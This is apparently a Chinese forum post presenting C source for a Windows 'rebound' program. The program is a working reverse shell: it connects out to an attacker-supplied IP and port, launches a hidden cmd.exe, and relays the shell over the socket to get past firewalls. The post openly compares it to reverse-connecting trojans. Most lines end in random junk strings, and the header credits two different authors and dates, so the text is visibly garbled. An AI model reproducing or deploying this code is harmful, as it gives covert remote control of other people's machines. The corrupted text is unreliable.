这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8%+F.r
6 b/UFO
/* ============================== blVt:XS{,m
Rebound port in Windows NT d17RJW%A
By wind,2006/7 [quT&E
===============================*/ @%FLT6MY
#include Q4;%[7LU
#include T
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#pragma comment(lib,"wsock32.lib") ^<$$h
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void OutputShell(); vHydqFi 9
SOCKET sClient; A'zXbp:%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?'xwr)v
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void main(int argc,char **argv) 4+tKg*|
{ t[r<&1[&
WSADATA stWsaData; ^X?D4a|;#g
int nRet; uT
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SOCKADDR_IN stSaiClient,stSaiServer; c6 f=r
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if(argc != 3) tfAO#h tq
{ v47S9Vm+
printf("Useage:\n\rRebound DestIP DestPort\n"); V(6*wQ`&
return; "e-RV
} "VIoVu
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WSAStartup(MAKEWORD(2,2),&stWsaData); e>zv+9'Q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rfx}[!<{N
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stSaiClient.sin_family = AF_INET; uc~/l4~N
stSaiClient.sin_port = htons(0); w'r?)WW$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); av8\?xmo.$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ .="/n8B
printf("Bind Socket Failed!\n"); V7gv@<1<y
return; @$*LU:[
} &s{" Vc9]
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stSaiServer.sin_family = AF_INET; 7{BTtUMAC
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &^7^7:Y=?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :lfUVa{HN
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lSG"c+iV
{ sw\O\%^
printf("Connect Error!"); W5SCm(QS5
return; W"meH~[Cp
} G~+BO'U9'G
OutputShell(); xwJ.cy
} `w(~[`F t
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void OutputShell() /19ZyQw9
{ ]?<=DHn
char szBuff[1024]; 6OPYq*|
SECURITY_ATTRIBUTES stSecurityAttributes; ,_iR
OSVERSIONINFO stOsversionInfo; vVyX[ZZ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p"dK,A5#)
STARTUPINFO stStartupInfo; x| =]Xxco
char *szShell; O;6am++M@
PROCESS_INFORMATION stProcessInformation; ll^#I/
unsigned long lBytesRead; 6rll0c~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \i.Yhl:O
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V4CL%i
stSecurityAttributes.lpSecurityDescriptor = 0; AzZb0wW6p
stSecurityAttributes.bInheritHandle = TRUE; q(XO_1W0V
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x-@}x@n&[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bm\Zp
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C[JGt9{Y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8q/3}AnI
stStartupInfo.wShowWindow = SW_HIDE; S)\Yc=~h
stStartupInfo.hStdInput = hReadPipe; (/[wM>q:r
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; AdL>?SG%
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GetVersionEx(&stOsversionInfo); N ]|P||fC
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switch(stOsversionInfo.dwPlatformId) *=)kR7,]9d
{ >g+e`!;6
case 1: O?OG`{k
szShell = "command.com"; A>Y#-e;<d
break; $v\o14v
default: !?aL_{7J
szShell = "cmd.exe"; K?]c
break; '\wZKYVN
} hhr!FQ.+/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d) $B
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send(sClient,szMsg,77,0); o/\f+iz7
while(1) 5)=YTUCk
{ XNaiMpp'
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &fRZaq'2R
if(lBytesRead) =8W'4MC
{ :(TOtrK@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =C4!h'hz
send(sClient,szBuff,lBytesRead,0); N#&/d nV
} zy\R>4i'#Q
else "eH.<&
{ P>wTp)
lBytesRead=recv(sClient,szBuff,1024,0); (&@,Z I;
if(lBytesRead<=0) break; =;m;r!,K
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); di|5|bn7
} 5 `A^"}0
} 5-B % 08T
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return; }HLV'^"k
}